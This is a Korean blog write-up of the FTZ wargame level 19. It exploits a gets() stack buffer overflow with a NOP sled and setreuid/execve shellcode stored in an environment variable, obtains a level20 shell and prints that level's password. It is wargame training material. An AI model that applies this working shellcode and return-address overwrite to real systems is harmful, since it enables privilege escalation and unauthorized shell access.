일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
Tags
- NewsClipping
- Next.js
- CodeEngn
- HackCTF
- ctf
- 뉴스클리핑
- reversing
- RITSEC CTF 2019
- termux
- PWN
- 버퍼오버플로우
- Hackerschool
- 보안뉴스
- SQL Injection
- 웹해킹
- Linux
- ftz
- Python
- Nop Slide
- writeup
- Shadow 동아리
- 어셈블리어
- RITSEC
- 리눅스
- 리버싱
- webhacking
- requests
- buffer over flow
- BOF
- x64dbg
Archives
- Today
- Total
Jaeseo's Information Security Story
FTZ - level19 - WriteUp 본문
FTZ - level19 - WriteUp
level19:swimming in pink
일단 hint를 봅니다.
[level19@ftz level19]$ cat hint
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}
문제를 보니 ret 부분에 shell코드의 주소를 덮은 다음 리턴을 시켜 shell를 실행 시키면 되는 문제로 보입니다.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40] //ebp-40에 입력을 받음
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.
(gdb)
일단 버퍼에서 RET까지의 거리를 계산합니다. ebp-40에서 ret 주소 즉 ebp+4 까지의 거리는 44이니 44만큼 빈값을 채우고 쉘코드 주소를 입력해주면 될것 으로 예상됩니다. 이번에는 shell코드를 setreuid()가 포함된 함수를 사용했습니다. 일방적인 코드를 사용하면 uid가 level19의 권한으로 설정되어서 쉘코드를 다른것으로 사용하였습니다. 아직 쉘코드 작성법에 대해서는 공부가 부족하여서 나중에 자세히 작성하도록 하겠습니다.
[level19@ftz level19]$export ATTACK=`python -c 'print "\x90"*10000+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
그리고 getenv()함수를 이용하여 환경변수의 주소를 가져옵니다.
마지막으로 아래와 같이 공격을 시도합니다.
[level19@ftz level19]$ /tmp/get.out ATTACK
0xbfffd837
[level19@ftz level19]$ (python -c 'print "\x90"*44+"\x37\xd8\xff\xbf"';cat) | ./attackme
7Øÿ¿
whoami
level20
my-pass
TERM environment variable not set.
Level20 Password is "we are just regular guys".
level20:we are just regular guys
'Write UP > FTZ' 카테고리의 다른 글
FTZ - level20 - WriteUp | ctors, dtors 영역 | 포맷스트링 공격 (0) | 2019.11.30 |
---|---|
FTZ - level18 - WriteUp (0) | 2019.11.26 |
FTZ - level17 - WriteUp (0) | 2019.11.26 |
FTZ - level16 - WriteUp (0) | 2019.11.26 |
FTZ - level15 - WriteUp (0) | 2019.11.26 |
Comments